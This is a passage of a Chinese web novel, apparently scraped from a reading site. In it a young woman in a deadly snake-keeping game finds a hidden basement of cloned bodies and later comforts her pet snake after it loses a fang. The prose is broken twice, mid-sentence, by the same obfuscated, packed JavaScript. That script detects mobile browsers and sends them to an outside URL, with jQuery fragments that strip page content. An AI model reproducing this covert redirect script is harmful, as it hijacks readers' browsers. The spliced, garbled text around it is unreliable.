蜡烛徐徐燃，融的蜡油从底座淌进盘里，发出油脂味，几条蛇围着油盘吸得嘶嘶作响。 不怕凝固在肚子里么？念头刚转过，平月愣住，这个油脂味有点熟悉，哦，尸油。 她抓起一支烛台，绕过流理台，进后厨房，借着烛光，后厨房的货架上空空荡荡，什么都没有。 她们白天吃的菜是从哪儿来？水果从哪儿来？没用完的菜和水果去哪儿了？菜很新鲜，水果也很新鲜，是每天从外面送来？走哪条路？现在还没到送菜的时间点？ 现在是凌晨一点过，如果从大门口送进来，肯定会有大货车开进来，可从没听谁说过，只有一个地方是她们听不见看不见的：地下。 平月推开后厨房唯一一扇门，门轴很油滑，一点声响都没有，她把烛灯压在身下，做好了夜风吹来的准备，没风，两米外是两扇电梯门。 脑海里滚过游戏总规则和第一场游戏规则，没有禁止午夜出门、也没有禁止乘坐电梯，她飞快检查四周，门没有锁扣，通道里没有摄像头，是一个很适合做贼的地方。 她按下电梯键，梯门打开的声音在过道里响得惊耳，地下统共四层，她先去第一层，长长的走廊，壁灯昏暗，延绵没有尽头，看着就不太像人走的地方，而且土壤之下的第一层怎么可能都不会是出口。 平月直接按下第四层，整个港口被高透明玻璃包裹起来，海浪冲刷玻璃流下一串水迹，半夜的海与天连成一片深邃的墨蓝色。 一束光驱散墨蓝朝港口/射来，包裹港口的落地窗被光穿透了，港口路灯响起一串清脆的铃铛，叮铃铃，随即，一艘游轮破浪驶来。 平月刚踏出去一只脚，人的声音隐隐传来：“……今天这么早？” “船上来了个医生，”另一个声音说，“3055……” 在听见声音的一刻，平月退回电梯按下了关门键，佣人们走路没声音，当她能清楚听见说话时，说明已经离得很近了，她不敢冒险。 电梯门合上的瞬间，她好像听到了自己的房间门牌号，可电梯上行了，说话的佣人似有所感地朝电梯扭头，其中一人直接走到电梯前，鼻翼翕动，在空气里深深嗅一口。 尸油味。 “谁？”另一个佣人问。 “蛇。” 游轮近了港，渐渐减速，两人不再耽搁，拉了响铃，港口前的玻璃往下沉，游轮被潮水推进港、靠了岸。 玻璃再升起时，涌进的潮水从地下排走，游轮放下楼梯，一个女人从船舱出来，抓开头顶的草帽，顺着楼梯几步下来。 “梁医生，现在正在游戏，你暂时不能动蛇。”佣人迎上她。 梁医生把草帽抛给她，“不急，我来是为另一件事，听说3070‘段离’实验体出问题了？” 佣人只负责游戏正常进行，不对这句话做任何回应，沉默地替她按下第三层按钮。 电梯门打开，射灯把整个走廊照得光可鉴人，平月吹灭蜡烛，顺着第三层的走廊往前，尽头分出左右两条，她拐进左边，一间间相同大小的病房，墙上嵌半边透明窗，从外看进去，每张病床都躺着一个人，身上插满软管，连接到四周的墙壁深处，太阳穴连接的细线微微颤动。 都是活人。 平月总觉得她们很眼熟，但窗外的角度只能看见下巴，她推门进去，站到床边，从上往下看。 林雪。 推开旁边一间病房门，林雪，再旁边，依旧是林雪，连着8间房，都是林雪。 叮—— 电梯门打开的声音划破寂静，平月飞快环视可躲藏的地方，病房里除了床，一无所有，她在玻璃下方靠门口的位置，贴着墙根蹲下，把脑袋尽量伏低。 走廊里哒哒两道脚步声，梁医生和扬医生并肩走过。 “现在是什么情况？”梁医生拐进更衣室，随手抓一件白大褂套身上，洗了手，接过扬医生递来的ipad。 扬医生说：“我是上一届游戏跟下来的，段离的实验体在上一届游戏被段离亲手杀了，我们又做了几个，别的没什么问题，就是段离最近变得有点古怪，实验体在细节上跟不上。记忆重组也试了，行为反应还是存在细微差别，你看视频。Snake的意思是不要段离的实验体了，能活就活，他现在更关注3055的蛇，这是第一次实验蛇主动选择人类。” “那批蛇有问题。”梁医生边看ipad边朝病房走。 “我检查过，很健康。”扬医生说。 “你来电话后，我们给Jck剩余的蛇做了二次筛查，基因缺陷严重，你说的那条，能活过一岁再说吧。”梁医生把ipad丢给她，推开病房，抬手一划，床头的墙壁现出虚拟屏，床上人的数据一一滚动。 梁医生连看四人的数据，随后拔掉一人身上的营养管，探针从太阳穴拉出来带了一地的血，扬医生皱眉：“要感染。” “报废体而已。”梁医生单脚踢开病床的滑轮，连床带人推去实验室。 滚轮从门口滚过，两道脚步声随着滚轮离开，走廊静下来，平月小心翼翼拉开门，沿着来时路返回，有一间病房空了，但她不知道那张床的人是谁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483271|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那里有一滩血，佣人随时可能来打扫，平月没敢多呆，坐电梯回了餐厅。 餐厅里的蜡烛燃了一半，吸油的蛇换了一批，平月把手里的蜡烛怼上去，点燃了放桌上，吃油的蛇抬头嘶她一声，低头继续吃。 回到房间，她把平司司掏出来，那猪还在睡，包它之前是什么睡姿，现在还是什么睡姿，书上说它是日间活动蛇，它白天睡晚上睡，平月怀疑它是蟒，蛇生80%的时间都在睡觉。 平月脱下衣服，尸油味很重，她把衣服泡在水池里，挤上大半瓶洗手液，用流水冲刷，洗完澡出来把洗手间连着浴室弄得和早晨一样狼藉，尸油味泡没了，她随手丢地上，等佣人早上来收拾。 做完后，她站在门口看了看，很满意，一副被蛇糟蹋过的现场。 刚要带上门，她一抬眼，对上了盘在窗口的蛇脑袋，好大的一颗，像颗甜瓜，两颗棕色的眼珠无机质地盯着她，蛇信子在空中嘶嘶探，不知道探到了什么，它朝她猛扑过来。 速度快得如捕捉猎物，平月刷地带上门，只听“嘭”声巨响，门扉震颤，黄金蟒被撞得摔在地上。 地上淋淋洒洒全是洗手液和水，滑得它像条蚯蚓，咕叽咕叽打滚，滚得烦了，它窜进脏衣服兜，隔着门冲平月愤怒嘶吼。 平月听不懂，猜它应该骂挺脏。 “？” 人蛇不熟，骂这么脏做什么？ 要不是它飞得凶狠，她也不至于关门，平月摸了摸手腕的针孔，已经找不到了，难道她的疫苗失效了，对蛇没用了，蛇要咬她了？ “嘶嘶……” 平司司被撞门声惊醒了，迷迷糊糊往旁边滚，想去蹭妈妈的手，滚了两圈都没碰到笼子，也没碰到妈妈的手，它打个哈欠，收缩颊窝去感知妈妈。 妈妈在比较远的地方，它正要往那儿爬，忽然闻到一股臭味——那吃了死蛇的黄金蟒的蛇臭味，在厕所里，嘶嘶哈哈地骂人。 它说它吃了死蛇，被好多伙伴嘲笑了，它要绞死它，绞不死它就把养它的人类给绞死。 把…… 平司司打到一半的哈欠硬生生断了，扭成麻花的脖子一摆正，沿墙蹭蹭朝厕所爬，隔着一扇玻璃门，冲黄金蟒恶狠狠地嚎：“嘶！” 门里的叫骂声滞了一瞬，接着，又继续骂骂咧咧，仗着一道门隔着，黄金蟒越骂越凶，越骂越脏。 平司司龇开毒牙，恶狠狠地把脑袋从地面的门缝塞进去，势必要毒死黄金蟒！平月赶紧抓住它的尾巴提回来，那门里的黄金蟒一看见它凶神恶煞的头就嗖地爬上脏衣服兜扑到洗手台，连扑带跳地准备夺窗而跑——今天没绞死明天再来，它才不和毒心烂肠的蛇硬碰硬！ 谁料台面全是洗手液，滑得黄金蟒一步三摔，从台面滚到地上，又在地面滚了好几圈。 它带着浑身的洗手液在里面滚来爬去，折腾得平月都于心不忍了，才勉强用下巴够住窗台，也不管身体还在墙上啪叽啪叽地打滑，直接把脑袋往外一送，将自己抛出去。 14. 第 14 章 凌晨四点，平月下楼了——她饿了。 餐厅昏昏暗，佣人们在昏暗里洗刚摘的葡萄，一串串一颗颗在黄光里像油画一样饱满。 平月刚进餐厅，佣人们齐刷刷回头，轻飘飘看她一眼，其中一个佣人放下手里的葡萄，拉亮流理台的小灯，小范围照亮。 “牛肉包子，鸡汤米线，虾仁馄饨，再来根蒸玉米。”平月接一杯热水，靠在流理台边，朝洗葡萄的佣人示意：“刚摘的？” “嗯，鸡汤刚熬，得等四个小时。”佣人现场揉面，平月扫了一眼，面粉袋子都是新的，纯白，没任何商标与文字，“那随便来个什么，给我串葡萄，蛇吃葡萄吗？” “有些吃。”佣人刚洗一串，放果盘里，递给她。 怪甜，皮薄肉嫩水多，口感很绝。 “什么品种？”平月问。 佣人：“霞多丽。” 霞多丽的产区……南欧地中海希腊？意大利？ 真远。 平月揪一颗葡萄让佣人给她切小块，用勺子喂到平司司嘴边，平司司伸舌头舔一口，舌头还没收回去就“嘶”了一声，把脖子一扭，好嫌弃的样子，结果平月还没收勺子，它又舔了一口，嘶嘶两声，再舔一口。 一舔一舔，最后一口把葡萄吞了，吞完迫不及待拿尾巴尖尖卷着她的小手指朝葡萄按——还要吃。 欢喜程度不亚于肉，可一颗葡萄没吃完，平月听见“铛”的一声，一颗白白的小牙齿掉进了勺子里。 细小的，弯钩样的，尖利的。 一人一蛇面面相觑半响，平司司尾巴一扫，捂住了嘴巴，不可置信地瞪大眼珠。 那一刹那，平月真的看见它眼珠子张大了，瞳孔裹着毫不掩饰的惊悚。 “那什么……”平月举起勺子，仔细端详，“掉牙了？” “嘶！”平司司冲她怒号，嘴巴一张开，小嘴巴左边光溜溜的没毒牙了，平月没忍住，噗嗤笑出声，平司司一口咬在她手背，咬完了拿尾巴死死捂住嘴巴，不嚎了，只拿两颗眼睛控诉地瞪她——恶毒！ 平月手背的牙印子都是单颗，瞧着怪可怜，她憋着笑，问佣人：“它这换牙什么时候长出来？” “两三天。” “不是说牙齿磨损严重才会换牙吗，”平月捡起勺子里的小牙齿，翻来覆去地看，她看不出磨损，“你偷吃什么了？” 总不至于吃个葡萄把牙齿吃掉吧？ 黄金蟒！黄金蟒！黄金蟒！平司恶狠狠地想，黄金蟒皮糙肉厚，它咬了它几百口，咬的时候就牙疼！真的把它的毒牙咬掉了！黄金蟒！黄金蟒！黄金蟒！它要毒死它！ 远在房子外面的黄金蟒突然鼻腔发痒，张嘴喷出重重一口气，连喷了好几次，鼻腔才舒服了，它甩甩尾巴，计划今晚再去绞死那头幼蛇和那个养蛇的可恶人类！里面滑溜溜的，它该怎么避开？ 愁。 平月把小白牙洗干净了，装盒子里给平司司作纪念，换牙的小孩儿都敏感，整整半天，平司司呆呆的，不张嘴叫，也不伸蛇信了，丧里丧气地窝在笼子里，它没了一颗牙，连咬死这个嘲笑它的人类都咬不动。 它不叫平司司，它叫“死了”。 平月用肉哄它，它也不吃一口，喂它喝水也不吃，给它葡萄，它喷出一口怨恨的气，把头埋进肚子里，连她也不想看见了。 “没事儿，过两天就长出来了。”平月哄它， 平司司不听不理，平月就随它去了，等牙长出来它自个儿就好了，人是这样过来，蛇也要这样过来。 她拎着笼子站在大厅，秦玉咬着梨儿找到她，把多拿的一颗梨儿塞给她，“你看什么？” “没什么。”她躲在门后时，隐约听到扬医生和梁医生提到一个名字，隔着一扇门和好几间病房，没听太清，这会儿正一个名字一个名字地看，寻找符合字音的名字。 段……离…… 找到了。 段离，3070，网纹蟒。 林雪沉默地站在她另一边，“找谁？” 看着林雪这张脸，平月有点恍惚，地下三层有8个“林雪”，是准备用在哪里？什么时候用？林雪曾经说过一句话“佣人天生五感犀利，你想在她们眼皮下养替身蛇，就好比你在房间里养另一个你”，她是不是知道这个房间里有另一个“林雪”才会那样比喻？在上一届游戏，林雪是否见过另一个“林雪”？ “学姐，”一个女生提着笼子，追着另一个女生，“你帮我看看我的蛇，我喂它吃了肉，它现在不动了。” 被追的女生是个熟人，在图书馆给平月找过书的那位，她对平月点个头，回头等后面的小女生，两人并肩走过，她声音温温柔柔的，像个大姐姐：“别担心，正常的，它们吃完饭会有一段时间的消食时间，这段时间都不要去碰它们，等它们消食完会自己活动……” 人走远了，平月收回视线，问林雪：“她是上一届的人吗？” “不认识。”林雪扭身坐进躺椅里，网纹蟒随地溜走。 “你说，”平月在她旁边躺下，“人要怎么区分一个长得像的人？” 闭着眼的林雪刷地睁开了眼，秦玉问：“能有多像？” “蛇和蛇那么像吧。” “怎么可能那么像？”说这句话时，秦玉瞟了林雪一眼，觉得她不会找个一模一样的人来弄自己，便放心大胆说了：“就算长得像，那得多瞎才能认错啊？” 还真能瞎到一定程度，平月想，把“林雪”放林雪旁边，真分辨不出来。 “如果你认为自己是真的，那么……”林雪似是而非地看向平月，“别人是真是假又有什么区别？” 如果你认为自己是真的，那么别人是真是假又有什么区别？ 如果你是真的，那么你认为真的就是真的，你认为假的就是假的，别人是真是假又有什么关系？ 平月忽然想起，如果地下三层有8个“林雪”，是不是也有8个“秦玉”，8个“平月”？ 如果平月见“平月”，那要用什么办法让自己成为真平月？平月想，林雪在上一届游戏，一定把“林雪”干死了，所以她是真的。 “你们在说什么？”秦玉满脸迷惑。 “在说怎么把你干了。”林雪说。 秦玉懵了一下，大概没想到她这么直白，“林雪你……别乱说！”她理直气壮，“平月把你干了都不会把我干了！” 林雪看奇葩玩意儿似地打量秦玉，然后好奇地歪头问平月：“你要她干什么？” 秦玉巴巴望着平月，想听她说点好听的话，结果平月只给三个字：“正常人。” 林雪“哈”一声笑了，秦玉两眼茫然：“啊？” 林雪：“她把你当小狗。” 秦玉：“哦。” 她的肩膀软下去，软绵绵窝在躺椅里，眉眼带笑，心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483272|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好得连看笼子里的猪鼻蛇都漂亮了几分，那珊瑚色真美。 这下，连平月都沉默了。 “月月，你知道佣人靠什么分辨蛇嘛？”秦玉掩不住的欢喜，恨不得扒拉着平月说话，“昨天你不是帮我拿了蛇嘛，你让我再去找别的佣人确认一下，我去了，我问她‘这是不是我的蛇’，佣人看都不看就说是，我问她‘你怎么知道’，你猜她说什么？” 平月很捧场地顺着她的话问：“什么？” “她说！”秦玉学起来，“‘味道单一，除了蛇味就是你房间的香水味’，诶，我都没想到香水味能把蛇腌入味！” “嗯？”平月的视线落到平司司身上，若有所思。 “你闻闻，我是什么味儿？”秦玉半个身体歪过来，手臂横到平月面前。 她不用这么近平月都能闻到，“菠萝味。”甜腻腻的菠萝味，秦玉就是个热带水果，又甜又热，热闹活泼纯粹，和名字的“玉”字一点不沾，她不说话时还挺有翡翠玉石的味儿。 平月心里有了一个很完美的计划——如何分辨“林雪”和林雪。 晚上平月睡不着，平司司也没睡，它还把脑袋埋在肚子里，见不得人的新媳妇儿样。 平月把它掏出来，它就扭了扭身体，还是不抬头。 “乖乖，”平月放低声音，“我们是好伙伴儿对不对，现在该你上场了，你靠感知生存，鼻子肯定比佣人灵，你帮忙闻闻林雪的味，以后我们寻着味认人怎么样？” 平司司一动不动，稳如泰山。 “哎……”平月叹气，她把平司司的小牙儿拿出来，“我小时候也换过牙，6岁开始换，要换到12、3岁，整整六年呢，我第一次掉牙时候比你还懵，觉得自己快完了，要死了，那会儿我没爸妈，不懂，也怕人知道，走哪儿都捂嘴，不敢说话，老师点名叫我起来回答问题，我都捂着嘴巴，一声不吭，后来……” “老师跟我说，这是人慢慢长大的过程，是一种健康的蜕变，我们变得更厉害更坚固，百折不挠。”她抚摸那颗弯钩状的细尖牙，是酥酥的骨质感，“我也确实变得百折不挠。” “平司司，这是你健康的一种表现，是你长大的征兆，你的下一颗牙齿会比以前厉害，没什么大不了的，今天我笑你，两天后你长出更坚硬的毒牙，朝我龇一下，我又怕你，我也就只能趁你弱的时候给自己壮壮胆了。” 说什么呢，这个人好多话，一直叭叭叭，比黄金蟒还能叭，一句话也听不懂，平月拔出脑袋，下意识就要伸舌头，伸到一半，那人伸手过来，平司司永远记得她看见自己掉牙时笑得多么开心的模样，怒上心头，一口咬在她虎口。 咦…… 她的肉有点刮牙，哦……它掉了毒牙的地儿冒了新牙尖尖，勾住了她的肉。 血味，腥的，甜的，比肉好吃，比葡萄甜，平司司舔了一口，把血给她止住，缩着牙，小心翼翼朝后退——它不是故意的，它不知道自个儿冒新牙了，不然它不会咬她，早上咬她都没咬到呢。 还没退呢，它被她一把抱住，另一只手使劲儿揉它的脑袋，“别难过了，咱们明天就长厉害的新牙。” 她摸它的下颌，像抚树上的新叶，摸水里的花芽儿，轻轻的，温柔的，平司司小小的心脏突然发了酸，它张嘴“呜”了一声。 妈妈温柔地把它抱在怀里，笑得眼里像装了星星那样漂亮：“来，我们去认认人。”